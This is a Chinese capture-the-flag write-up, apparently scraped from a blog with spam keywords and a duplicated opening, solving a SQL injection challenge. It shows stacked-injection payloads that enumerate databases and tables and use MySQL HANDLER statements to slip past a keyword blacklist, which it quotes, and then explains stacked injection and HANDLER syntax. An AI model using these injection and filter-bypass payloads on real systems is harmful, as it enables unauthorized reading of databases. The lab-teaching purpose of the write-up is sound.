大连sem网站建设,广州中小学安全教育平台,京建站公司,建筑公司企业技术负责人岗位职责打开题目 判断注入点
输入1#xff0c;页面回显 输入1
页面报错 输入 1 #
页面正常#xff0c;说明是单引号的字符型注入 我们输入1; show databases; # 说明有6个数据库
1; show tables; # 说明有三个表
我们直接查看FlagHere的表结构
1;desc FlagHere#xff1b;# 发…打开题目 判断注入点
输入1页面回显 输入1
页面报错 输入 1 #
页面正常说明是单引号的字符型注入 我们输入1; show databases; # 说明有6个数据库
1; show tables; # 说明有三个表
我们直接查看FlagHere的表结构
1;desc FlagHere# 发现下面没有flag
那我们接着爆破列名字段
1 order by 2; #页面正常 1 order by 3; # 页面报错 说明列名字段数为2
输入1;select * from FlagHere; # 发现页面过滤了很多东西
return preg_match(/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i,$inject);
所以union select联合注入就用不了
那我们就尝试堆叠注入和handl句
1;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得到flag 知识点
堆叠注入 原理
mysql数据库sql语句的默认结束符是以;结尾在执行多条SQL语句时就要使用结束符隔开那么在;结束一条sql语句后继续构造下一条语句是否会一起执行 因此这个想法也就造就了堆叠注入 实现条件
堆叠注入原理是通过结束符同时执行多条sql语句这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法。例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
1、目标存在sql注入漏洞 2、目标未对;号进行过滤 3、目标中间层查询数据库信息时可同时执行多条sql语句 而union injection联合注入也是将两条语句合并在一起两者之间有什么区别么区别就在于union 或者union all执行的语句类型是有限的可以用来执行查询语句而堆叠注入可以执行的是任意的语句
相关文章堆叠注入原理解析_Stray.io的博客-CSDN博客 堆叠注入的一些操作
获取库名、表名、列名
show databases; show tables; show columns from table_name;
查看表结构
desc 表名 MySQL关于HANDLER命令的用法
官方给出的格式 HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { | | | | } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE HANDLER ... OPEN语句会打开一个表使其能够用后续的HANDLER ... READ语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE或会话关闭。
如果使用别名打开表后续在使用HANDLER语句打开表必须使用别名而不能用原表名。如果不使用别名而是使用带有数据库名前缀的表名后续引用需要去掉数据库名。例如使用mydb.mytable,后续引用需使用mytable。
第一个HANDER ... READ语法获取的是特定索引满足给定值并且满足where条件的行。如果是多列索引给定的索引列值应该是用逗号隔开的列表。要么指定索引中所有列的值要么指定索引列中的最左边的不几列。如果索引my_idx包含col_a,col_b,col_c。HANDLER语句可以指定索引中的全部三个列值或者是最左边的几列。例如
HANDLER ... READ my_idx (col_a_val,col_b_val,col_c_val) ...
HANDLER ... READ my_idx (col_a_val,col_b_val) ...
HANDLER ... READ my_idx (col_a_val) ...
第二个HANDLER ... READ语法表示按照索引的某种顺序来按照where条件筛选结果行
第三个HANDLER ... READ语法表示按照表中行的自然顺序匹配where条件。当需要全表扫描来获取每一行时结果行足够多比第一、二种使用索引方式都要更快。实际上自然行顺序就是数据行在MyISAM表数据文件中的存放顺序。这条语句对于InnoDB表同样适用但是不存在这样的概念因为没有独立的数据文件。
若没有LIMIT子句所有HANDLER ... READ形式的语句都最多只会获取一行。要返回多少行就LIMIT多少。
HANDLER ... CLOSE用于关闭用HANDLER ... OPEN打开的表。 假设有一张表叫’user’,有一列叫’name’,该列有一个索引叫’name_index’如果要查询name为小明的记录那么HANDLER语句的写法就是 handler user open as user; handler user READ name_index(小明) ; handler user close; 需要注意的是这个语句只会返回一条记录如果表中有满足条件的记录如果要返回多条可以这么写 handler user open as user; handler user READ name_index(小明) limit 10 ; handler user close; 我们没办法一次返回所有的记录——因为我们并不知道满足条件的记录一共有多少条 其他大佬给出的解释 句柄句柄Handle是一个是用来标识对象或者项目的标识符可以用来描述窗体、文件等。这是我从百度上搜到的。 翻译成白话就是句柄 相当于一个指针是一个广义的指针不是特定指向某一个形式整数、数组、对象等。 # 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表可以指定从索引那一行开始通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { | | | | } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
# FIRST: 获取第一行索引最小的一行
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行索引最大的一行
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行当然也可以在获取句柄后直接使用获取第一行
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
HANDLER tbl_name CLOSE相关文章链接MySQL关于HANDLER命令的说明_handler open as ;-CSDN博客
Mysql HANDLER语句 - 简书
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客